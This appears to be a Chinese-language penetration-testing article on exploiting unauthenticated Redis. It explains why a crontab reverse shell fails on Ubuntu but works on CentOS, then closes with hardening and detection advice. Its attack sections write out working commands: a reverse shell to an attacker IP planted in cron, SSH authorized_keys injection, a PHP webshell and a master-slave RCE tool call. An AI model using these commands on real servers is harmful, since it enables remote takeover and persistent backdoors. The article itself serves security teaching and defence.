CentOS vs Ubuntu：Redis未授权访问下，为什么任务计划反弹Shell在Ubuntu上会失败？
CentOS与Ubuntu在Redis漏洞利用中的关键差异解析
当安全研究人员尝试复现经典的Redis未授权访问漏洞时，常会遇到一个令人困惑的现象：同样的任务计划反弹Shell操作，在CentOS上顺利执行，却在Ubuntu系统上完全失效。这种差异背后隐藏着Linux发行版在权限机制和文件系统设计上的深层区别。
1. 任务计划反弹Shell的核心机制
Redis未授权访问漏洞允许攻击者通过redis-cli直接操作目标服务器的Redis服务。当Redis以root权限运行时，攻击者可以利用config set dir和config set dbfilename命令修改Redis的持久化存储路径，然后通过save命令将恶意内容写入系统关键文件。
典型的任务计划反弹Shell操作流程如下：
# 攻击者VPS上启动监听 nc -lvnp 6666 # 通过redis-cli连接目标Redis服务 redis-cli -h 目标IP -p 6379 # 写入反弹Shell命令到crontab set payload "\n* * * * * bash -i >& /dev/tcp/攻击者IP/6666 0>&1\n" config set dir /var/spool/cron/ config set dbfilename root save这个看似简单的过程，在不同Linux发行版上的表现却大相径庭。
2. 系统差异导致的执行失败
2.1 crontab文件路径与权限要求
CentOS和Ubuntu在crontab管理上存在以下关键区别：
| 特性 | CentOS | Ubuntu |
|---|---|---|
| crontab文件路径 | /var/spool/cron/ | /var/spool/cron/crontabs/ |
| 文件权限要求 | 644 | 600 |
| 文件所有者 | root:root | root:crontab |
当Redis尝试写入crontab文件时：
CentOS环境：
- Redis写入的文件默认权限为644
- CentOS的cron服务接受644权限的文件
- 反弹Shell成功执行
Ubuntu环境：
- Redis写入的文件权限仍为644
- Ubuntu的cron服务要求严格600权限
- 系统会记录错误："(root) INSECURE MODE (mode 0600 expected)"
- 反弹Shell不会执行
2.2 Redis写入内容的兼容性问题
除了权限问题，Redis的SAVE命令在写入文件时还会引入额外的数据：
- Redis版本信息头
- 内部数据结构元数据
- 可能存在的乱码字符
这些额外内容在不同系统上的处理方式：
REDIS0009� redis-ver5.0.7� redis-bits�@�ctime�m��used-mem�p� * * * * * bash -i >& /dev/tcp/1.2.3.4/6666 0>&1CentOS的cron服务对这些"噪音"有较强的容错能力，而Ubuntu的cron实现则更为严格，会直接拒绝执行包含异常内容的计划任务。
3. 替代利用方案与系统适应性
当任务计划反弹Shell在Ubuntu上失效时，安全研究人员可以考虑以下替代方案：
3.1 SSH公钥写入技术
通过Redis写入SSH公钥的步骤：
本地生成SSH密钥对：
ssh-keygen -t rsa -f ./redis_key格式化公钥并写入Redis：
(echo -e "\n\n"; cat redis_key.pub; echo -e "\n\n") > temp.txt cat temp.txt | redis-cli -h 目标IP -x set ssh_key配置Redis保存路径：
config set dir /root/.ssh/ config set dbfilename authorized_keys save
系统兼容性分析：
- 该方法在CentOS和Ubuntu上通常都有效
- 要求Redis以root权限运行
- SSH服务必须允许公钥认证
3.2 WebShell写入技术
当目标运行Web服务时，可尝试写入WebShell：
config set dir /var/www/html/ config set dbfilename shell.php set payload "<?php system($_GET['cmd']); ?>" save注意事项：
- 需要知道Web目录的准确路径
- Web服务器用户需要对目录有写权限
- 文件内容可能被Redis元数据污染，需要特殊处理换行
3.3 主从复制RCE技术
针对Redis 4.x/5.x版本的主从复制RCE：
# 使用现成工具 python3 redis-master.py -r 目标IP -L 攻击者IP -f exp.so -c "whoami"技术要点：
- 攻击者搭建恶意Redis主节点
- 诱导目标Redis服务器作为从节点连接
- 通过主从同步传输恶意.so模块
- 在目标服务器加载模块执行命令
系统兼容性：
- 不受crontab权限限制影响
- 需要特定Redis版本支持
- 依赖外部模块加载功能
4. 防御策略与加固建议
针对Redis未授权访问漏洞，系统管理员应采取以下防护措施：
4.1 基础安全配置
网络层防护：
- 修改默认6379端口
- 配置防火墙限制访问来源IP
- 避免Redis服务绑定在0.0.0.0
服务层防护：
# 启用认证密码 requirepass 复杂密码 # 禁用高危命令 rename-command FLUSHALL "" rename-command CONFIG "" rename-command EVAL ""
4.2 系统级加固
权限控制：
- 使用非root用户运行Redis服务
- 配置适当的文件系统权限
# Ubuntu下限制crontab目录权限 chmod 700 /var/spool/cron/crontabs chown root:crontab /var/spool/cron/crontabs
入侵检测：
# 监控Redis关键目录的文件变化 auditctl -w /var/spool/cron/ -p wa -k cron_tamper auditctl -w /root/.ssh/ -p wa -k ssh_key_tamper
4.3 纵深防御体系
网络隔离：
- 将Redis服务部署在内网环境
- 使用VPN或跳板机管理
行为监控：
- 记录Redis的所有CONFIG命令操作
- 监控异常的SAVE操作
应急响应：
# 检查可疑的crontab条目 grep -r "bash -i" /var/spool/cron/ # 检查异常的SSH公钥 ls -la /root/.ssh/authorized_keys
在实际渗透测试中，遇到Ubuntu系统时，我通常会先尝试SSH公钥写入，如果失败再转向WebShell方案。对于加固过的系统，主从复制RCE往往是最后的选择，但成功率高度依赖Redis版本。